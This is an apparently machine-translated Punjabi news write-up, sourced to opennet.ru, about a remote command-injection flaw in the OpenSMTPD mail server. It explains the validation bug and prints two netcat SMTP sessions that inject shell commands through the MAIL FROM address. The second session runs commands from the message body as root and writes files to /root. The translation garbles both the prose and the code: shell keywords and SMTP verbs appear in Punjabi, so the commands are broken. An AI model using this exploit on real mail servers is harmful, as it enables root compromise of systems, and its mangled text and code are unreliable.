OpenBSD เจชเฉเจฐเฉเจเฉเจเจ เจฆเฉเจเจฐเจพ เจตเจฟเจเจธเจค เจฎเฉเจฒ เจธเจฐเจตเจฐ เจตเจฟเฉฑเจ
เจฆเฉ เจคเจฐเฉเจนเจพเจ เจฆเฉ เจนเจฎเจฒเฉ เจฆเฉ เจคเจเจตเฉเจเจผ เจฐเฉฑเจเฉ เจเจ เจนเฉเฅค เจชเจนเจฟเจฒเจพ เจตเจฟเจเจฒเจช เจกเจฟเจซเจพเจฒเจ OpenSMTPD เจธเฉฐเจฐเจเจจเจพ เจตเจฟเฉฑเจ เจเฉฐเจฎ เจเจฐเจฆเจพ เจนเฉ (เจธเจฟเจฐเจซเจผ เจฒเฉเจเจฒเจนเฉเจธเจ เจคเฉเจ เจฌเฉเจจเจคเฉเจเจ เจชเฉเจฐเจพเจชเจค เจเจฐเจจเจพ) เจ เจคเฉ เจคเฉเจนเจพเจจเฉเฉฐ เจธเจฅเจพเจจเจ เจคเฉเจฐ 'เจคเฉ เจธเจฎเฉฑเจธเจฟเจ เจฆเจพ เจธเจผเฉเจธเจผเจฃ เจเจฐเจจ เจฆเฉ เจเจเจพเจเจผเจค เจฆเจฟเฉฐเจฆเจพ เจนเฉ, เจเจฆเฉเจ เจนเจฎเจฒเจพเจตเจฐ เจธเจฐเจตเจฐ 'เจคเฉ เจธเจฅเจพเจจเจ เจจเฉเฉฑเจเจตเจฐเจ เจเฉฐเจเจฐเจซเฉเจธ (เจฒเฉเจชเจฌเฉเจ) เจคเฉฑเจ เจชเจนเฉเฉฐเจ เจเจฐเจจ เจฆเฉ เจฏเฉเจ เจนเฉเฉฐเจฆเจพ เจนเฉ (เจเจฆเจพเจนเจฐเจจ เจฒเจ, เจนเฉเจธเจเจฟเฉฐเจ เจธเจฟเจธเจเจฎเจพเจ 'เจคเฉ) . เจฆเฉเจเจพ เจตเจฟเจเจฒเจช เจเจฆเฉเจ เจฆเจฟเจธเจฆเจพ เจนเฉ เจเจฆเฉเจ OpenSMTPD เจจเฉเฉฐ เจฌเจพเจนเจฐเฉ เจจเฉเฉฑเจเจตเจฐเจ เจฌเฉเจจเจคเฉเจเจ เจจเฉเฉฐ เจธเจตเฉเจเจพเจฐ เจเจฐเจจ เจฒเจ เจธเฉฐเจฐเจเจฟเจค เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉ (เจเฉฑเจ เจฎเฉเจฒ เจธเจฐเจตเจฐ เจเฉ เจคเฉเจเฉ-เจงเจฟเจฐ เจฎเฉเจฒ เจจเฉเฉฐ เจธเจตเฉเจเจพเจฐ เจเจฐเจฆเจพ เจนเฉ)เฅค เจเฉเจเจเจฐเจคเจพเจตเจพเจ เจจเฉ เจเฉฑเจ เจชเฉเจฐเฉเจเฉเจเจพเจเจช เจธเจผเฉเจธเจผเจฃ เจคเจฟเจเจฐ เจเฉเจคเจพ เจนเฉ เจเฉ OpenBSD 6.6 เจคเฉเจ OpenSMTPD เจตเฉเจฐเฉเจเจเจ เจ เจคเฉ เจฆเฉเจเฉ เจเจชเจฐเฉเจเจฟเฉฐเจ เจธเจฟเจธเจเจฎเจพเจ (เจกเฉเจฌเฉเจ เจจ เจเฉเจธเจเจฟเฉฐเจ เจตเจฟเฉฑเจ เจธเฉฐเจเจพเจฒเจฟเจค) เจฒเจ เจเฉฑเจ เจชเฉเจฐเจเฉเจฌเจฒ เจธเฉฐเจธเจเจฐเจฃ เจฆเฉ เจจเจพเจฒ เจธเจซเจฒเจคเจพเจชเฉเจฐเจตเจ เจเฉฐเจฎ เจเจฐเจฆเจพ เจนเฉเฅค
เจธเจฎเฉฑเจธเจฟเจ smtp_mailaddr() เจซเฉฐเจเจธเจผเจจ เจตเจฟเฉฑเจ เจเฉฑเจ เจคเจฐเฉเฉฑเจเฉ เจเจพเจฐเจจ เจนเฉเจ เจนเฉ, เจเจฟเจธเจจเฉเฉฐ "เจฎเฉเจฒ เจซเจฐเจฎ" เจ
เจคเฉ "RCPT TO" เจเฉเจคเจฐเจพเจ เจตเจฟเฉฑเจ เจฎเฉเฉฑเจฒเจพเจ เจฆเฉ เจธเจผเฉเฉฑเจงเจคเจพ เจฆเฉ เจเจพเจเจ เจเจฐเจจ เจฒเจ เจเจฟเจนเจพ เจเจพเจเจฆเจพ เจนเฉ เจเฉ เจญเฉเจเจฃ เจตเจพเจฒเฉ/เจชเฉเจฐเจพเจชเจคเจเจฐเจคเจพ เจจเฉเฉฐ เจจเจฟเจฐเจงเจพเจฐเจค เจเจฐเจฆเฉ เจนเจจ เจ
เจคเฉ เจเจจเฉเจเจธเจผเจจ เจฆเฉเจฐเจพเจจ เจธเฉฐเจเจพเจฐเจฟเจค เจนเฉเฉฐเจฆเฉ เจนเจจเฅค เจฎเฉเจฒ เจธเจฐเจตเจฐ เจจเฉเฉฐ. smtp_mailaddr() เจซเฉฐเจเจธเจผเจจ เจจเฉเฉฐ smtp_mailaddr() เจตเจฟเฉฑเจ เจฎเฉเจฒ เจเจกเจฐเฉเฉฑเจธ เจฆเฉ เจเจธ เจนเจฟเฉฑเจธเฉ เจฆเฉ เจเจพเจเจ เจเจฐเจจ เจฒเจ เจเจฟเจนเจพ เจเจพเจเจฆเจพ เจนเฉ เจเฉ "@" เจ
เฉฑเจเจฐ เจคเฉเจ เจชเจนเจฟเจฒเจพเจ เจเจเจเจฆเจพ เจนเฉเฅค
valid_localpart(), เจเฉ เจเจฟ "!#$%&'*/?^`{|}~+-=_" เจ
เฉฑเจเจฐ เจฎเฉฐเจจเจฆเจพ เจนเฉ (MAILADDR_ALLOWED), เจเจฟเจตเฉเจ เจเจฟ RFC 5322 เจฆเฉเจเจฐเจพ เจฒเฉเฉเฉเจเจฆเจพ เจนเฉเฅค
เจเจธ เจธเจฅเจฟเจคเฉ เจตเจฟเฉฑเจ, เจธเจคเจฐ เจธเจฟเฉฑเจงเฉ mda_expand_token() เจซเฉฐเจเจธเจผเจจ เจตเจฟเฉฑเจ เจฌเจ เจเจพเจเจฆเฉ เจนเฉ, เจเฉ เจธเจฟเจฐเจซ เจ เฉฑเจเจฐเจพเจ เจจเฉเฉฐ เจฌเจฆเจฒเจฆเฉ เจนเฉ "!#$%&'*?`{|}~" (MAILADDR_ESCAPE)เฅค เจ เฉฑเจเฉ, mda_expand_token() เจตเจฟเฉฑเจ เจคเจฟเจเจฐ เจเฉเจคเฉ เจธเจคเจฐ เจฆเฉ เจตเจฐเจคเฉเจ เจกเจฟเจฒเฉเจตเจฐเฉ เจเจเฉฐเจ (MDA) เจจเฉเฉฐ 'execle("/bin/sh", "/bin/sh", "-c", mda_command,โฆ' เจเจฎเจพเจเจก เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจฆเฉ เจธเจฎเฉเจ เจเฉเจคเฉ เจเจพเจเจฆเฉ เจนเฉเฅค เจฎเฉเจฒเฅค /bin/sh เจฐเจพเจนเฉเจ mbox เจฒเจ, เจฒเจพเจเจจ "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}" เจเจฒเจพเจ เจเจพเจเจฆเฉ เจนเฉ, เจเจฟเฉฑเจฅเฉ เจฎเฉเฉฑเจฒ "%{mbox.from}" เจนเฉเฉฐเจฆเจพ เจนเฉเฅค "เจฎเฉเจฒ เจซเจฐเฉเจฎ" เจชเฉเจฐเจพเจฎเฉเจเจฐ เจคเฉเจ เจฌเจเจฟเจ เจกเฉเจเจพ เจธเจผเจพเจฎเจฒ เจเจฐเจฆเจพ เจนเฉเฅค
เจเจฎเจเจผเฉเจฐเฉ เจฆเจพ เจธเจพเจฐ เจเจน เจนเฉ เจเจฟ smtp_mailaddr() เจตเจฟเฉฑเจ เจเฉฑเจ เจฒเจพเจเจผเฉเจเจฒ เจเจฒเจคเฉ เจนเฉ, เจเจฟเจธ เจเจพเจฐเจจ, เจเฉเจเจฐ เจเฉฑเจ เจเจพเจฒเฉ เจกเฉเจฎเฉเจจ เจเจฎเฉเจฒ เจตเจฟเฉฑเจ เจชเจพเจธ เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉ, เจคเจพเจ เจซเฉฐเจเจธเจผเจจ เจเฉฑเจ เจธเจซเจฒ เจชเฉเจธเจผเจเฉเจเจฐเจจ เจเฉเจก เจตเจพเจชเจธ เจเจฐเจฆเจพ เจนเฉ, เจญเจพเจตเฉเจ เจเจฟ โ@โ เจคเฉเจ เจชเจนเจฟเจฒเจพเจ เจฆเฉ เจชเจคเฉ เจฆเฉ เจนเจฟเฉฑเจธเฉ เจตเจฟเฉฑเจ เจ เจตเฉเจง เจ เฉฑเจเจฐ เจธเจผเจพเจฎเจฒ เจนเจจเฅค เจ เฉฑเจเฉ, เจเจฆเฉเจ mda_expand_token() เจซเฉฐเจเจธเจผเจจ เจจเจพเจฒ เจเฉฑเจ เจธเจคเจฐ เจคเจฟเจเจฐ เจเจฐเจฆเฉ เจนเฉ, เจคเจพเจ เจธเจพเจฐเฉ เจธเฉฐเจญเจต เจธเจผเฉเฉฑเจฒ เจตเจฟเจธเจผเฉเจธเจผ เจ เฉฑเจเจฐ เจฌเจเฉ เจจเจนเฉเจ เจนเฉเฉฐเจฆเฉ, เจชเจฐ เจฎเฉเจฒ เจเจกเจฐเฉเฉฑเจธ เจตเจฟเฉฑเจ เจธเจฟเจฐเจซเจผ เจตเจฟเจธเจผเฉเจธเจผ เจ เฉฑเจเจฐ เจนเฉ เจฎเจจเจเจผเฉเจฐ เจนเฉเฉฐเจฆเฉ เจนเจจเฅค เจเจธ เจคเจฐเฉเจนเจพเจ, เจคเฉเจนเจพเจกเฉ เจเจฎเจพเจเจก เจจเฉเฉฐ เจเจฒเจพเจเจฃ เจฒเจ, เจเจฎเฉเจฒ เจฆเฉ เจธเจฅเจพเจจเจ เจนเจฟเฉฑเจธเฉ เจตเจฟเฉฑเจ ";" เจเจฟเฉฐเจจเฉเจน เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจจเจพ เจเจพเจซเจผเฉ เจนเฉเฅค เจ เจคเฉ เจธเจชเฉเจธ, เจเฉ เจเจฟ MAILADDR_ESCAPE เจธเฉเฉฑเจ เจตเจฟเฉฑเจ เจจเจนเฉเจ เจนเจจ เจ เจคเฉ เจฌเจเฉ เจจเจนเฉเจ เจนเจจเฅค เจเจฆเจพเจนเจฐเจฃ เจฒเจ:
$nc 127.0.0.1 25
HELO professor.falken
เจเจธ เจคเฉเจ เจฎเฉเจฒ:<;เจธเจฒเฉเจช 66;>
RCPT เจจเฉเฉฐ:
เจกเจพเจเจพ
.
QUIT
เจเจธ เจธเฉเจธเจผเจจ เจคเฉเจ เจฌเจพเจ เจฆ, OpenSMTPD, เจเจฆเฉเจ mbox เจจเฉเฉฐ เจกเจฟเจฒเฉเจตเจฐ เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉ, เจธเจผเฉเฉฑเจฒ เจฐเจพเจนเฉเจ เจเจฎเจพเจเจก เจเจฒเจพเจเจเจพ
/usr/libexec/mail.local -f ;เจธเจฒเฉเจช 66; เจฐเฉเจ
เจเจธเฉ เจธเจฎเฉเจ, เจนเจฎเจฒเฉ เจฆเฉเจเจ เจธเฉฐเจญเจพเจตเจจเจพเจตเจพเจ เจเจธ เจคเฉฑเจฅ เจฆเฉเจเจฐเจพ เจธเฉเจฎเจค เจนเจจ เจเจฟ เจชเจคเฉ เจฆเจพ เจธเจฅเจพเจจเจ เจนเจฟเฉฑเจธเจพ 64 เจ เฉฑเจเจฐเจพเจ เจคเฉเจ เจตเฉฑเจง เจจเจนเฉเจ เจนเฉ เจธเจเจฆเจพ, เจ เจคเฉ เจตเจฟเจธเจผเฉเจธเจผ เจ เฉฑเจเจฐ '$' เจ เจคเฉ '|' เจฌเจเจฃ เจตเฉเจฒเฉ ":" เจจเจพเจฒ เจฌเจฆเจฒเจฟเจ เจเจพเจเจฆเจพ เจนเฉเฅค เจเจธ เจธเฉเจฎเจพ เจจเฉเฉฐ เจฐเฉเจเจฃ เจฒเจ, เจเจน เจคเฉฑเจฅ เจเจฟ เจธเฉเจจเฉเจนเฉ เจฆเจพ เจฎเฉเฉฑเจ เจนเจฟเฉฑเจธเจพ /usr/libexec/mail.local เจจเฉเฉฐ เจเจจเจชเฉเจ เจธเจเฉเจฐเฉเจฎ เจฐเจพเจนเฉเจ เจเจฒเจพเจเจฃ เจคเฉเจ เจฌเจพเจ เจฆ เจชเฉเจฐเจธเจพเจฐเจฟเจค เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉ, เจเจฟเจตเฉเจ เจเจฟ. เจเจกเจฐเฉเฉฑเจธ เจจเจพเจฒ เจนเฉเจฐเจพเจซเฉเจฐเฉ เจฆเฉเจเจฐเจพ, เจคเฉเจธเฉเจ เจธเจฟเจฐเจซ sh เจเจฎเจพเจเจก เจเฉฐเจเจฐเจชเฉเจฐเฉเจเจฐ เจจเฉเฉฐ เจฒเจพเจเจ เจเจฐ เจธเจเจฆเฉ เจนเฉ เจ เจคเฉ เจ เฉฑเจเจฐ เจฆเฉ เจฎเฉเฉฑเจ เจญเจพเจ เจจเฉเฉฐ เจจเจฟเจฐเจฆเฉเจธเจผเจพเจ เจฆเฉ เจธเฉเฉฑเจ เจตเจเฉเจ เจตเจฐเจค เจธเจเจฆเฉ เจนเฉเฅค เจเจฟเจเจเจเจฟ เจธเฉเจตเจพ SMTP เจธเจฟเจฐเจฒเฉเจ เจ เฉฑเจเจฐ เจฆเฉ เจธเจผเฉเจฐเฉ เจตเจฟเฉฑเจ เจฆเจฐเจธเจพเจ เจเจ เจนเจจ, เจเจนเจจเจพเจ เจจเฉเฉฐ เจเฉฑเจกเจฃ เจฒเจ เจฒเฉเจช เจตเจฟเฉฑเจ เจฐเฉเจก เจเจฎเจพเจเจก เจเจพเจฒ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจจ เจฆเจพ เจธเฉเจเจพเจ เจฆเจฟเฉฑเจคเจพ เจเจพเจเจฆเจพ เจนเฉเฅค เจเจพเจฐเจเจธเจผเฉเจฒ เจธเจผเฉเจธเจผเจฃ เจเฉเจ เจเจธ เจคเจฐเฉเจนเจพเจ เจฆเจฟเจเจพเจ เจฆเจฟเฉฐเจฆเจพ เจนเฉ:
$nc 192.168.56.143 25
HELO professor.falken
เจเจธ เจคเฉเจ เจฎเฉเจฒ:<;เจฒเจ เจฎเฉเจ 0 1 2 3 4 5 6 7 8 9 abcd; เจชเฉเฉเจนเฉ r;done;sh;exit 0;>
RCPT เจจเฉเฉฐ:[เจเจฎเฉเจฒ เจธเฉเจฐเฉฑเจเจฟเจ
เจค]>
เจกเจพเจเจพ
#0
#1
...
#d
WOPR เจตเจฟเฉฑเจ i เจฒเจ; เจเจฐเจฆเฉ เจนเจจ
echo -n "($i) " && id || เจคเฉเฉ
เจนเฉ เจเจฟเจ > /root/x."`id -u`"."$$"
.
QUIT
เจธเจฐเฉเจค: opennet.ru